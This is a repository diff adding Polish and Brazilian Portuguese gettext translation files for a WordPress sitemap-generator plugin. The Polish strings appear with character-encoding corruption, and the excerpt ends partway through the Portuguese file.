+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2864
+msgid "Search Blog"
+msgstr "Search Blog"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2861
+msgid "Webmaster Center Blog"
+msgstr "Webmaster Center Blog"
+
+msgid "Sitemaps Protocol"
+msgstr "Sitemaps Protocol"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2867
+msgid "Official Sitemaps FAQ"
+msgstr "Official Sitemaps FAQ"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2868
+msgid "My Sitemaps FAQ"
+msgstr "FAQ wtyczki"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2873
+msgid "Recent Donations:"
+msgstr "Ostatnie dotacje:"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2877
+msgid "List of the donors"
+msgstr "Lista darczyÅcÃ³w"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2879
+msgid "Hide this list"
+msgstr "Ukryj tÄ listÄ"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2882
+msgid "Thanks for your support!"
+msgstr "DziÄki za wsparcie!"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2894
+msgid "Status"
+msgstr "Status"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2904
+#, php-format
+msgid "The sitemap wasn't built yet. <a href=\"%s\">Click here</a> to build it the first time."
+msgstr "Mapa strony nie zostaÅa jeszcze zbudowana. <a href=\"%s\">Kliknij tutaj</a>, aby jÄ
+ zbudowaÄ po raz pierwszy."
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2910
+msgid "Your <a href=\"%url%\">sitemap</a> was last built on <b>%date%</b>."
+msgstr "Ostatnia modyfikacja twojej <a href=\"%url%\">mapy strony</a>: <b>%date%</b>."
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2912
+msgid "There was a problem writing your sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "WystÄ
+piÅ problem podczas zapisu pliku mapy. Upewnij siÄ, ÅŒe plik istnieje i ma prawa do zapisu przez serwer. <a href=\"%url%\">Dowiedz siÄ wiÄcej</a"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2919
+msgid "Your sitemap (<a href=\"%url%\">zipped</a>) was last built on <b>%date%</b>."
+msgstr "Ostatnia modyfikacja twojej <a href=\"%url%\">spakowanej mapy strony</a>: <b>%date%</b>."
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2921
+msgid "There was a problem writing your zipped sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "WystÄ
+piÅ problem podczas zapisu spakowanej (gz) wersji pliku mapy. Upewnij siÄ, ÅŒe plik istnieje i posiada prawa do zapisu. <a href=\"%url%\">Dowiedz siÄ wiÄcej</a"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2927
+msgid "Google was <b>successfully notified</b> about changes."
+msgstr "Google zostaÅ <b>pomyÅlnie powiadomiony</b> o zmianach."
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2930
+msgid "It took %time% seconds to notify Google, maybe you want to disable this feature to reduce the building time."
+msgstr "Powiadomienie Google zajÄÅo %time% sekund, moÅŒesz wyÅÄ
+czyÄ tÄ opcjÄ, aby zredukowaÄ czas publikacji."
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2933
+#, php-format
+msgid "There was a problem while notifying Google. <a href=\"%s\">View result</a>"
+msgstr "WystÄ
+piÅ problem z powiadomieniem Google. <a href=\"%s\">Obejrzyj rezultat</a>"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2939
+msgid "YAHOO was <b>successfully notified</b> about changes."
+msgstr "YAHOO zostaÅ <b>pomyÅlnie powiadomiony</b> o zmianach."
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2942
+msgid "It took %time% seconds to notify YAHOO, maybe you want to disable this feature to reduce the building time."
+msgstr "Powiadomienie YAHOO zajÄÅo %time% sekund, moÅŒesz wyÅÄ
+czyÄ tÄ opcjÄ, aby zredukowaÄ czas publikacji."
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2945
+#, php-format
+msgid "There was a problem while notifying YAHOO. <a href=\"%s\">View result</a>"
+msgstr "WystÄ
+piÅ problem z powiadomieniem YAHOO. <a href=\"%s\">Obejrzyj rezultat</a>"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2939
+msgid "MSN was <b>successfully notified</b> about changes."
+msgstr "MSN zostaÅ <b>pomyÅlnie powiadomiony</b> o zmianach."
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2954
+msgid "It took %time% seconds to notify MSN.com, maybe you want to disable this feature to reduce the building time."
+msgstr "Powiadomienie MSN.com zajÄÅo %time% sekund, moÅŒesz wyÅÄ
+czyÄ tÄ opcjÄ, aby zredukowaÄ czas publikacji."
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2957
+#, php-format
+msgid "There was a problem while notifying MSN.com. <a href=\"%s\">View result</a>"
+msgstr "WystÄ
+piÅ problem z powiadomieniem MSN.com. <a href=\"%s\">Obejrzyj rezultat</a>"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2951
+msgid "Ask.com was <b>successfully notified</b> about changes."
+msgstr "Ask.com zostaÅ <b>pomyÅlnie powiadomiony</b> o zmianach."
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2954
+msgid "It took %time% seconds to notify Ask.com, maybe you want to disable this feature to reduce the building time."
+msgstr "Powiadomienie Ask.com zajÄÅo %time% sekund, moÅŒesz wyÅÄ
+czyÄ tÄ opcjÄ, aby zredukowaÄ czas publikacji."
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2957
+#, php-format
+msgid "There was a problem while notifying Ask.com. <a href=\"%s\">View result</a>"
+msgstr "WystÄ
+piÅ problem z powiadomieniem Ask.com. <a href=\"%s\">Obejrzyj rezultat</a>"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2965
+msgid "The building process took about <b>%time% seconds</b> to complete and used %memory% MB of memory."
+msgstr "Proces budowy mapy zajÄ
+Å <b>%time% sek.</b> i wykorzystaÅ %memory% MB pamiÄci."
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2967
+msgid "The building process took about <b>%time% seconds</b> to complete."
+msgstr "Proces budowy mapy zajÄ
+Å <b>%time% sek.</b>"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2971
+msgid "The content of your sitemap <strong>didn't change</strong> since the last time so the files were not written and no search engine was pinged."
+msgstr "ZawartoÅÄ twojej mapy <strong>nie zmieniÅa siÄ /strong> od ostatniego razu, wiÄc pliki nie zostaÅy nadpisane i ÅŒadna wyszukiwarka nie zostaÅa powiadomiona."
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2975
+msgid "The last run didn't finish! Maybe you can raise the memory or time limit for PHP scripts. <a href=\"%url%\">Learn more</a>"
+msgstr "Ostatnia operacja nie zostaÅa zakoÅczona! MoÅŒe naleÅŒy zwiÄkszyÄ limit pamieci lub czasu wykonywania dla skryptÃ³w PHP. <a href=\"%url%\">Dowiedz siÄ wiÄcej</a>"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2977
+msgid "The last known memory usage of the script was %memused%MB, the limit of your server is %memlimit%."
+msgstr "Ostatnie znane zuÅŒycie pamiÄci wyniosÅo %memused%MB, limit twojego serwera to %memlimit%."
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2981
+msgid "The last known execution time of the script was %timeused% seconds, the limit of your server is %timelimit% seconds."
+msgstr "Ostatni znany czas wykonywania skryptu wyniÃ³sÅ  %timeused% sek., limit twojego serwera wynosi %timelimit% sek."
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2985
+msgid "The script stopped around post number %lastpost% (+/- 100)"
+msgstr "Skrypt przerwaÅ wykonywanie w okolicach wpisu nr %lastpost% (+/- 100)"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2988
+#, php-format
+msgid "If you changed something on your server or blog, you should <a href=\"%s\">rebuild the sitemap</a> manually."
+msgstr "JeÅli na blogu coÅ zostaÅo zmienione, naleÅŒy <a href=\"%s\">przebudowaÄ mapÄ</a> rÄcznie."
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2990
+#, php-format
+msgid "If you encounter any problems with the build process you can use the <a href=\"%d\">debug function</a> to get more information."
+msgstr "JeÅli napotkasz jakiÅ problem podczas procesu budowy mapy, moÅŒesz uÅŒyÄ <a href=\"%d\">funkcji debugowania</a> aby uzyskaÄ wiÄcej informacji."
+
+msgid "Basic Options"
+msgstr "Opcje podstawowe"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3007
+msgid "Sitemap files:"
+msgstr "Pliki mapy strony:"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3007
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3022
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3042
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3067
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3084
+msgid "Learn more"
+msgstr "Dowiedz siÄ wiÄcej"
+
+msgid "Write a normal XML file (your filename)"
+msgstr "Zapisz normalny plik XML (wÅasna nazwa)"
+
+msgid "Write a gzipped file (your filename + .gz)"
+msgstr "Zapisz plik gzip (wÅasna nazwa + .gz)"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3022
+msgid "Building mode:"
+msgstr "Tryb budowy:"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3027
+msgid "Rebuild sitemap if you change the content of your blog"
+msgstr "Przebudowuj mapÄ przy zmianie zawartoÅci bloga"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3034
+msgid "Enable manual sitemap building via GET Request"
+msgstr "WÅÄ
+cz manualne przebudowywanie mapy przez polecenie GET"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3038
+msgid "This will allow you to refresh your sitemap if an external tool wrote into the WordPress database without using the WordPress API. Use the following URL to start the process: <a href=\"%1\">%1</a> Please check the logfile above to see if sitemap was successfully built."
+msgstr "Ta opcja pozwoli na odÅwieÅŒenie mapy strony jeÅli jakieÅ zewnÄtrzne narzÄdzie dokona zapisu w bazie danych WordPress z pominiÄciem WordPress API. UÅŒyj nastÄpujÄ
+cego adresu w celu rozpoczÄcia procesu: <a href=\"%1\">%1</a> SprawdÅº plik logu powyÅŒej, aby sprawdziÄ czy mapa zostaÅa odpowiednio przebudowana."
+
+msgid "Update notification:"
+msgstr "Powiadomienia o aktualizacjach:"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3046
+msgid "Notify Google about updates of your Blog"
+msgstr "Powiadamiaj Google o aktualizacjach twojego bloga"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3047
+#, php-format
+msgid "No registration required, but you can join the <a href=\"%s\">Google Webmaster Tools</a> to check crawling statistics."
+msgstr "Rejestracja nie jest wymagana, ale moÅŒesz sprawdziÄ <a href=\"%s\">Google Webmaster Tools</a> aby kontrolowaÄ statystyki indeksowania."
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3046
+msgid "Notify MSN Live Search about updates of your Blog"
+msgstr "Powiadamiaj MSN Live Search o aktualizacjach twojego bloga"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3047
+#, php-format
+msgid "No registration required, but you can join the <a href=\"%s\">MSN Live Webmaster Tools</a> to check crawling statistics."
+msgstr "Rejestracja nie jest wymagana, ale moÅŒesz sprawdziÄ <a href=\"%s\">MSN Live Webmaster Tools</a> aby kontrolowaÄ statystyki indeksowania."
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3051
+msgid "Notify Ask.com about updates of your Blog"
+msgstr "Powiadamiaj Ask.com o aktualizacjach twojego bloga"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3052
+msgid "No registration required."
+msgstr "Rejestracja nie jest konieczna"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3056
+msgid "Notify YAHOO about updates of your Blog"
+msgstr "Powiadamiaj YAHOO o aktualizacjach twojego bloga"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3154
+msgid "Your Application ID:"
+msgstr "ID aplikacji:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3155
+#, php-format
+msgid "Don't you have such a key? <a href=\"%s1\">Request one here</a>!</a> %s2"
+msgstr "Nie masz takiego klucza? <a href=\"%s1\">ZamÃ³w go tutaj</a>!</a> %s2"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3062
+#, php-format
+msgid "Modify or create %s file in blog root which contains the sitemap location."
+msgstr "Modyfikuj lub utwÃ³rz plik %s w katalogu strony gdzie znajduje siÄ mapa strony."
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3065
+msgid "File permissions: "
+msgstr "Status pliku: "
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3070
+msgid "OK, robots.txt is writable."
+msgstr "OK, plik robots.txt ma prawa do zapisu."
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3072
+msgid "Error, robots.txt is not writable."
+msgstr "BÅÄ
+d, plik robots.txt nie ma praw do zapisu."
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3076
+msgid "OK, robots.txt doesn't exist but the directory is writable."
+msgstr "OK, plik robots.txt nie istnieje, ale katalog ma prawa do zapisu przez serwer."
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3078
+msgid "Error, robots.txt doesn't exist and the directory is not writable"
+msgstr "BÅÄ
+d, plik robots.txt nie istnieje i katalog nie ma prawa do zapisu przez serwer"
+
+msgid "Advanced options:"
+msgstr "Zaawansowane opcje:"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3087
+msgid "Limit the number of posts in the sitemap:"
+msgstr "Limituj iloÅÄ wpisÃ³w w mapie:"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3087
+msgid "Newer posts will be included first"
+msgstr "Nowsze wpisy bÄdÄ
+ zaÅÄ
+czone jako pierwsze"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3090
+msgid "Try to increase the memory limit to:"
+msgstr "SprÃ³buj zwiÄkszyÄ limit pamiÄci do:"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3090
+msgid "e.g. \"4M\", \"16M\""
+msgstr "np. \"4M\", \"16M\""
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3093
+msgid "Try to increase the execution time limit to:"
+msgstr "SprÃ³buj zwiÄkszyÄ limit czasu wykonywania do:"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3093
+msgid "in seconds, e.g. \"60\" or \"0\" for unlimited"
+msgstr "w sekundach, np. \"60\" lub \"0\" dla nieograniczonego"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3096
+msgid "Include a XSLT stylesheet:"
+msgstr "ZaÅÄ
+cz arkusz stylu XSLT: "
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3096
+msgid "Use Default"
+msgstr "UÅŒyj wartoÅci domyÅlnych"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3096
+msgid "Full or relative URL to your .xsl file"
+msgstr "Absolutna lub relatywna ÅcieÅŒka to twojego plik .xsl "
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3152
+msgid "Enable MySQL standard mode. Use this only if you're getting MySQL errors. (Needs much more memory!)"
+msgstr "WÅÄ
+cz standardowy tryb MySQL. UÅŒyj tego tylko w przypadku wystÄpowania bÅÄdÃ³w MySQL (zuÅŒywa duzo wiÄcej pamiÄci!)."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3166
+msgid "Build the sitemap in a background process (You don't have to wait when you save a post)"
+msgstr "Buduj mapÄ strony w tle (nie musisz czekaÄ kiedy zapisujesz swÃ³j wpis)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3206
+msgid "Exclude the following posts or pages:"
+msgstr "WyÅÄ
+cz nastÄpujÄ
+ce wpisy lub strony:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3206
+msgid "List of IDs, separated by comma"
+msgstr "Lista ID, oddzielonych przecinkami"
+
+msgid "Additional pages"
+msgstr "Dodatkowe strony"
+
+msgid "Here you can specify files or URLs which should be included in the sitemap, but do not belong to your Blog/WordPress.<br />For example, if your domain is www.foo.com and your blog is located on www.foo.com/blog you might want to include your homepage at www.foo.com"
+msgstr "Tutaj moÅŒesz podÄ
+Ä pliki lub adresy URL, ktÃ³re powinny znaleÅºÄ siÄ w twojej mapie strony, chociaÅŒ nie naleÅŒÄ
+ do blogu/WordPress'a.<br />Na przykÅad, jeÅli twoja domena to www.foo.com i twÃ³j blog znajduje siÄ na www.foo.com/blog, moÅŒesz chcieÄ umieÅciÄ takÅŒe stronÄ gÅÃ³wnÄ
+ (czyli www.foo.com)"
+
+msgid "Note"
+msgstr "Notatka"
+
+msgid "If your blog is in a subdirectory and you want to add pages which are NOT in the blog directory or beneath, you MUST place your sitemap file in the root directory (Look at the &quot;Location of your sitemap file&quot; section on this page)!"
+msgstr "JeÅli twÃ³j blog znajduje siÄ w podkatalogu i chcesz dodaÄ strony ktÃ³re NIE znajdujÄ
+ siÄ katalogu blogu lub jego subkatalogu, MUSISZ umieÅciÄ swojÄ
+ mapÄ strony w katalogu gÅÃ³wnym (zobacz sekcjÄ &quot; Lokalizacja twojej mapy strony&quot; na tej stronie)!"
+
+msgid "URL to the page"
+msgstr "URL strony"
+
+msgid "Enter the URL to the page. Examples: http://www.foo.com/index.html or www.foo.com/home "
+msgstr "Wpisz adres URL strony. PrzykÅady: http://www.foo.com/index.html lub www.foo.com/home "
+
+msgid "Priority"
+msgstr "Priorytet"
+
+msgid "Choose the priority of the page relative to the other pages. For example, your homepage might have a higher priority than your imprint."
+msgstr "Wybierz priorytet strony w odniesieniu do innych stron. Na przykÅad, strona gÅÃ³wna moÅŒe mieÄ wyÅŒszy priorytet niÅŒ informacje o tobie."
+
+msgid "Last Changed"
+msgstr "Ostatnio zmieniony"
+
+msgid "Enter the date of the last change as YYYY-MM-DD (2005-12-31 for example) (optional)."
+msgstr "Wpisz datÄ ostatniej zmiany jako YYYY-MM-DD (na przykÅad: 2005-12-31) (opcja)."
+
+msgid "Change Frequency"
+msgstr "ZmieÅ czÄstotliwoÅÄ"
+
+msgid "#"
+msgstr "#"
+
+msgid "No pages defined."
+msgstr "Brak zdefiniowanych stron"
+
+msgid "Add new page"
+msgstr "Dodaj nowÄ
+ stronÄ"
+
+msgid "Post Priority"
+msgstr "Priorytet wpisu"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3292
+msgid "Please select how the priority of each post should be calculated:"
+msgstr "Wybierz sposÃ³b obliczania priorytetu poszczegÃ³lnych wpisÃ³w:"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3294
+msgid "Do not use automatic priority calculation"
+msgstr "Nie uÅŒywaj automatycznego obliczania priorytetu"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:3294
+msgid "All posts will have the same priority which is defined in &quot;Priorities&quot;"
+msgstr "Wszystkie wpisy majÄ
+ ten sam priorytet, ktÃ³ry jest zdefiniowany &quot;Priorytety&quot;"
+
+msgid "Location of your sitemap file"
+msgstr "Lokalizacja twojego pliku mapy strony"
+
+msgid "Automatic detection"
+msgstr "Automatycznw wykrywanie"
+
+msgid "Filename of the sitemap file"
+msgstr "Nazwa pliku mapy strony"
+
+msgid "Detected Path"
+msgstr "Wykryta ÅcieÅŒka"
+
+msgid "Detected URL"
+msgstr "Wykryty URL"
+
+msgid "Custom location"
+msgstr "WÅasna lokalizacja"
+
+msgid "Absolute or relative path to the sitemap file, including name."
+msgstr "Absolutna ÅcieÅŒka do pliku mapy strony, zawierajÄ
+cy nazwÄ. "
+
+msgid "Example"
+msgstr "PrzykÅad"
+
+msgid "Complete URL to the sitemap file, including name."
+msgstr "PeÅen adres URL to pliku mapy strony, zawierajÄ
+cy nazwÄ."
+
+msgid "Sitemap Content"
+msgstr "ZawartoÅÄ mapy strony"
+
+msgid "Include homepage"
+msgstr "Zawiera stronÄ gÅÃ³wnÄ
+"
+
+msgid "Include posts"
+msgstr "Zawiera wpisy"
+
+msgid "Include static pages"
+msgstr "Zawiera statyczne strony"
+
+msgid "Include categories"
+msgstr "Zawiera kategorie"
+
+msgid "Include archives"
+msgstr "Zawiera archiwa"
+
+msgid "Include tag pages"
+msgstr "Zawiera strony tagÃ³w"
+
+msgid "Include author pages"
+msgstr "Zawiera strony autorÃ³w"
+
+msgid "Change frequencies"
+msgstr "ZmieÅ czÄstotliwoÅÄ"
+
+msgid "Please note that the value of this tag is considered a hint and not a command. Even though search engine crawlers consider this information when making decisions, they may crawl pages marked \"hourly\" less frequently than that, and they may crawl pages marked \"yearly\" more frequently than that. It is also likely that crawlers will periodically crawl pages marked \"never\" so that they can handle unexpected changes to those pages."
+msgstr "ProszÄ wziÄ
+ÅÄ pod uwagÄ, ÅŒe zawartoÅÄ tego znacznika jest wskazÃ³wkÄ
+, a nie poleceniem. Nawet jeÅli wyszukiwarki biorÄ
+ tÄ
+ informacjÄ pod uwagÄ podczas podejmowania decyzji, to mogÄ
+ one przeglÄ
+daÄ strony zaznaczone jako \"co godzinÄ\" rzadziej. Jest rÃ³wnieÅŒ prawdopodobne, ÅŒe strony oznaczone jako \"co rok\" bÄdÄ
+ przeglÄ
+dane czÄÅciej. RÃ³wnieÅŒ jest moÅŒliwe, ÅŒe mimo oznaczenia \"nigdy\", wyszukiwarki mogÄ
+ takie strony czasem przeglÄ
+daÄ i wychwytywaÄ nieoczekiwanie zmiany na tych stronach."
+
+msgid "Homepage"
+msgstr "Strona gÅÃ³wna"
+
+msgid "Posts"
+msgstr "Wpisy"
+
+msgid "Static pages"
+msgstr "Statyczne strony"
+
+msgid "Categories"
+msgstr "Kategorie"
+
+msgid "The current archive of this month (Should be the same like your homepage)"
+msgstr "Aktualne archiwum tego miesiÄ
+ca (powinno mieÄ takÄ
+ samÄ
+ czÄstotliwoÅÄ jak strona gÅÃ³wna)"
+
+msgid "Older archives (Changes only if you edit an old post)"
+msgstr "Starsz archiwa (zmieÅ tylko jeÅli edytujesz stare wpisy)"
+
+msgid "Tag pages"
+msgstr "Strony tagÃ³w"
+
+msgid "Author pages"
+msgstr "Strony autorÃ³w"
+
+msgid "Priorities"
+msgstr "Priorytety"
+
+msgid "Posts (If auto calculation is disabled)"
+msgstr "Wpisy (jeÅli automatyczne przeliczanie jest wyÅÄ
+czone)"
+
+msgid "Minimum post priority (Even if auto calculation is enabled)"
+msgstr "Minimalny priorytet wpisu (nawet jeÅli automatyczne przeliczanie jest wÅÄ
+czone)"
+
+msgid "Archives"
+msgstr "Archiwa"
+
+msgid "Update options"
+msgstr "Zaktualizuj opcje"
+
+msgid "Reset options"
+msgstr "Reset opcji"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-pt_BR.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-pt_BR.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-pt_BR.po	(revision 44)
@@ -0,0 +1,327 @@
+# [Countryname] Language File for sitemap (sitemap-[localname].po)
+# Copyright (C) 2005 [name] : [URL]
+# This file is distributed under the same license as the WordPress package.
+# [name] <[mail-address]>, 2005.
+# $Id: sitemap-es_ES.po 2504 2005-07-03 22:19:18Z arnee $
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: sitemap\n"
+"Report-Msgid-Bugs-To: <[mail-address]>\n"
+"POT-Creation-Date: 2005-06-15 00:00+0000\n"
+"PO-Revision-Date: 2006-11-24 18:57-0300\n"
+"Last-Translator: Rafael Lima <rafael.lima@email.com.br>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Language-Team: Pedro Polonia <polonia2@gmail.com>\n"
+"X-Poedit-Language: Portuguese\n"
+"X-Poedit-Country: PORTUGAL\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-Bookmarks: -1,59,-1,-1,-1,71,-1,-1,-1,-1\n"
+
+#: sitemap.php:375
+msgid "always"
+msgstr "sempre"
+
+msgid "hourly"
+msgstr "a cada hora"
+
+msgid "daily"
+msgstr "diariamente"
+
+msgid "weekly"
+msgstr "semanalmente"
+
+msgid "monthly"
+msgstr "mensalmente"
+
+msgid "yearly"
+msgstr "anualmente"
+
+msgid "never"
+msgstr "nunca"
+
+msgid "Detected Path"
+msgstr "Caminho detectado"
+
+msgid "Example"
+msgstr "Exemplo"
+
+msgid "Absolute or relative path to the sitemap file, including name."
+msgstr "Caminho absoluto ou relativo para o arquivo sitemap, incluindo o nome."
+
+msgid "Complete URL to the sitemap file, including name."
+msgstr "URL completo para o arquivo sitemap, incluindo o nome."
+
+msgid "Automatic location"
+msgstr "LocalizaÃ§Ã£o automÃ¡tica"
+
+msgid "Manual location"
+msgstr "LocalizaÃ§Ã£o manual"
+
+msgid "OR"
+msgstr "OU"
+
+msgid "Location of your sitemap file"
+msgstr "LocalizaÃ§Ã£o do arquivo sitemap"
+
+msgid "If your blog is in a subdirectory and you want to add pages which are NOT in the blog directory or beneath, you MUST place your sitemap file in the root directory (Look at the &quot;Location of your sitemap file&quot; section on this page)!"
+msgstr "Se o seu blog estÃ¡ numa pasta e quer adicionar paginas que NÃO estÃ£o na pasta do seu blog ou em sub-pastas, DEVE colocar o seu arquivo sitemap na raiz dos directÃ³rios (Olhe na secÃ§Ã£o \"LocalizaÃ§Ã£o do seu arquivo sitemap\" nesta pÃ¡gina)! "
+
+#: sitemap.php:512
+msgid "Configuration updated"
+msgstr "ConfiguraÃ§Ã£o actualizada"
+
+#: sitemap.php:513
+msgid "Error"
+msgstr "Erro"
+
+#: sitemap.php:521
+msgid "A new page was added. Click on &quot;Save page changes&quot; to save your changes."
+msgstr "Uma nova pÃ¡gina foi adicionada. Seleccione em \"Gravar alteraÃ§Ãµes\" para guardar as alteraÃ§Ãµes. "
+
+#: sitemap.php:527
+msgid "Pages saved"
+msgstr "PÃ¡ginas guardadas"
+
+#: sitemap.php:528
+msgid "Error while saving pages"
+msgstr "Erro durante a gravaÃ§Ã£o das pÃ¡ginas "
+
+#: sitemap.php:539
+msgid "The page was deleted. Click on &quot;Save page changes&quot; to save your changes."
+msgstr "A pÃ¡gina foi eliminada. Seleccione em \"Gravar alteraÃ§Ãµes\" para guardar as alteraÃ§Ãµes. "
+
+#: sitemap.php:542
+msgid "You changes have been cleared."
+msgstr "As suas alteraÃ§Ãµes foram anuladas."
+
+#: sitemap.php:555
+msgid "Sitemap Generator"
+msgstr "Gerador Sitemap"
+
+#: sitemap.php:558
+msgid "Manual rebuild"
